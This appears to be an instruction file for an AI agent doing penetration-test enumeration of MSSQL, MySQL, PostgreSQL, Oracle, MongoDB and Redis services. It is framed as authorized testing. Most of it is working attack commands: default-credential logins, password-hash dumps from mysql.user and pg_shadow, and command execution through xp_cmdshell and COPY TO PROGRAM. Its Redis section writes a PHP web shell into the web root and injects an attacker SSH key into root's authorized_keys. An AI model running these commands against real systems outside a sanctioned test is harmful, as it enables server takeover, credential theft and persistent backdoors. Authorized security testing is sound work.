Database Enumeration

Database Enumeration

You are helping a penetration tester enumerate database services and check for quick-win access. All testing is under explicit written authorization.

Engagement Logging

Check for ./engagement/ directory. If present, print [database-enumeration] Activated → <target> on activation and save significant output to engagement/evidence/ (e.g., mssql-ntlm-info.txt).

Scope Boundary

This skill covers database enumeration and quick-win access checks only.

• SQL injection → STOP. Return recommending the appropriate web technique skill.
• Brute force / password spraying → STOP. Return recommending password-spraying.
• Post-exploitation via database shell → STOP. Return with access gained and creds used.

State Management

Call get_state_summary() on activation. Skip services already enumerated. Leverage any known credentials.

State writes — write critical discoveries immediately:

• Default/empty credentials → add_credential()
• Unauthenticated access → add_vuln(severity="high")
• Command execution (xp_cmdshell, UDF, COPY PROGRAM) → add_vuln(severity="critical")
• Redis unauthenticated → add_vuln(severity="high")
• NTLM info leak (domain/hostname) → add_pivot()

Report all findings in your return summary as well (orchestrator deduplicates).

Prerequisites

• Network access to database ports on the target
• Target IP and port list (provided by orchestrator)

Query Output Handling

When running database queries via interactive shell sessions (send_command / read_output), large result sets create many round-trip cycles as output arrives incrementally. For queries that may return more than a few rows, redirect output to a file on the target and read it once:

# BAD — inline capture, multiple read_output cycles for large results
mysql -h TARGET -u user -p'pass' -e "SELECT * FROM users;"

# GOOD — write to file, read once
mysql -h TARGET -u user -p'pass' -e "SELECT * FROM users;" > /tmp/db_users.txt 2>&1
wc -l /tmp/db_users.txt  # Check size before reading
cat /tmp/db_users.txt     # Single read

# For very large tables, preview first
mysql -h TARGET -u user -p'pass' -e "SELECT COUNT(*) FROM users;" > /tmp/db_count.txt 2>&1
cat /tmp/db_count.txt
# If >1000 rows, use LIMIT or targeted queries instead of full dump

This applies to all database clients (mysql, psql, mssqlclient.py, mongosh). Clean up temp files when done: rm /tmp/db_*.txt.

Port-Based Execution

The orchestrator passes a port list. Only run sections for ports that are open on the target. Skip all other sections entirely.

Step 1: MSSQL (Port 1433)

nmap -sV -p1433 --script ms-sql-info,ms-sql-config,ms-sql-empty-password,ms-sql-ntlm-info TARGET_IP

# sa empty/default password checks
netexec mssql TARGET_IP -u sa -p '' --local-auth
netexec mssql TARGET_IP -u sa -p 'sa' --local-auth
netexec mssql TARGET_IP -u sa -p 'password' --local-auth

If sa access is gained, check xp_cmdshell:

mssqlclient.py sa:''@TARGET_IP -windows-auth
# In SQL shell: enable_xp_cmdshell / xp_cmdshell whoami

State write: sa creds → add_credential(service="mssql") · NTLM info → add_pivot() · xp_cmdshell → add_vuln(severity="critical")

Step 2: MySQL (Port 3306)

nmap -sV -p3306 --script mysql-info,mysql-enum,mysql-empty-password,mysql-vuln* TARGET_IP

# Root empty password
mysql -h TARGET_IP -u root -p'' -e "SELECT user,host,authentication_string FROM mysql.user;"
mysql -h TARGET_IP -u root -e "SELECT user,host,authentication_string FROM mysql.user;"

If root access is gained, check for command execution:

mysql -h TARGET_IP -u root -p'' -e "SELECT @@plugin_dir; SELECT * FROM mysql.func;"
mysql -h TARGET_IP -u root -p'' -e "SHOW GRANTS FOR CURRENT_USER();"

State write: root creds → add_credential(service="mysql") · UDF/FILE privilege → add_vuln(severity="critical")

Step 3: PostgreSQL (Port 5432)

nmap -sV -p5432 --script pgsql-brute TARGET_IP
psql -h TARGET_IP -U postgres -d postgres -c "SELECT usename, passwd FROM pg_shadow;"

If postgres access is gained:

psql -h TARGET_IP -U postgres -c "SELECT current_setting('is_superuser');"
psql -h TARGET_IP -U postgres -c "COPY (SELECT '') TO PROGRAM 'id';"

State write: postgres creds → add_credential(service="postgresql") · trust auth → add_vuln(severity="high") · COPY PROGRAM → add_vuln(severity="critical")

Step 4: Oracle (Port 1521)

nmap -sV -p1521 --script oracle-sid-brute,oracle-tns-version TARGET_IP
odat sidguesser -s TARGET_IP
odat all -s TARGET_IP -p 1521

Default credentials: SCOTT/TIGER, SYS/CHANGE_ON_INSTALL, SYSTEM/MANAGER.

State write: default creds → add_credential(service="oracle") · DBA access → add_vuln(severity="critical")

Step 5: MongoDB (Port 27017)

nmap -sV -p27017 --script mongodb-info,mongodb-databases TARGET_IP
mongosh --host TARGET_IP --eval "show dbs"
mongosh --host TARGET_IP --eval "db.adminCommand({listDatabases:1})"

State write: unauthenticated access → add_vuln(name="MongoDB unauthenticated access", severity="high")

Step 6: Redis (Port 6379)

nmap -sV -p6379 --script redis-info TARGET_IP
redis-cli -h TARGET_IP info
redis-cli -h TARGET_IP config get dir

If unauthenticated access is confirmed, try RCE via config writes:

# Webshell write (if web root is writable)
redis-cli -h TARGET_IP <<'REDIS'
config set dir /var/www/html/
config set dbfilename shell.php
set payload "<?php system($_GET['cmd']); ?>"
save
REDIS

# SSH key injection (if /root/.ssh/ is writable)
redis-cli -h TARGET_IP <<'REDIS'
config set dir /root/.ssh/
config set dbfilename authorized_keys
set payload "\n\nssh-ed25519 AAAA... attacker@host\n\n"
save
REDIS

# Check SLAVEOF replication for replication-based RCE
redis-cli -h TARGET_IP info replication

State write: unauth access → add_vuln(severity="high") · webshell/SSH key written → add_vuln(severity="critical")

Escalate or Pivot

• Command execution gained (xp_cmdshell, UDF, COPY PROGRAM, Redis write): STOP. Return with access method, recommend shell establishment.
• Credentials found, no RCE: STOP. Return credentials for reuse testing.
• Unauthenticated DB access (MongoDB, Redis): STOP. Return with access details.
• No access gained: Return versions, SIDs, and configs for orchestrator.

Troubleshooting

Connection refused / filtered

Note the port as filtered and move to the next service.

MySQL authentication plugin errors

Try --default-auth=mysql_native_password for caching_sha2_password errors.

psql: FATAL: no pg_hba.conf entry

PostgreSQL rejects connections from this IP. Note as blocked (not retryable).

odat not installed

Return to orchestrator. Oracle enumeration limited to nmap NSE without odat.

redis-cli NOAUTH

Redis requires auth. Try redis, empty string, password. If all fail, move on.